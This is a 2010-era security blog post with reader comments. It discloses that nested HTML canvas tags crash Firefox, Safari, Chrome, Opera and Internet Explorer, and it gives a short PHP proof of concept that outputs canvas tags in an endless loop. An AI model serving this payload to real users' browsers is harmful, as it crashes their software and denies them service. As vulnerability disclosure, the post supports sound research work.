Canvas tag DoS’es multiple browsers

There is a problem with the canvas HTML tag, if you place canvas tags in each other you can make a lot of browsers crash.

I tested this trick on Mozilla Firefox, Safari, Google Chrome, Opera and IE; all crashed on Windows XP SP3.

Here is an image i made from the crashes:
picture of crashed browsers

And here is the PoC:

<?php
# Canvas tag DoS Mozilla firefox, Safari, Google Chrome,
# Opera and Internet Explorer
#
# Found by Jelmer de Hen
# published at http://h.ackack.net/?p=269
# OS: Windows XP SP3
# Tested on the following browsers:
#	Mozilla Firefox 3.6.3
#	Safari 4.0.5
#	Google Chrome 4.1.249.1045
#	Opera 10.52
#	Internet Explorer 6.0 & 8.0

echo "<html><body>";
while (1){
	echo "<canvas>";
}
echo "</body>";
echo "</html>";
?>

Have fun and don't abuse :) .

Hello, I am Jelmer born in 1991 and I live in Holland. I met Fredrik and Mathias through the internet. You can contact me via email jelmerdehen [ at ] hotmail [d0t] com Or you can chat with me in the IRC.

2 Comments

  1. Tweets that mention Canvas tag DoS’es multiple browsers -- Topsy.com says:

    [...] This post was mentioned on Twitter by AckAck. AckAck said: New Post: Canvas tag DoS'es multiple browsers ( http://cli.gs/dmdMj ): There is a problem with the ca... [...]

  2. Mark Fisher says:

    Full marks for closing your body tags - you never know when someone comes up with an infinite interpreter.

Leave a Comment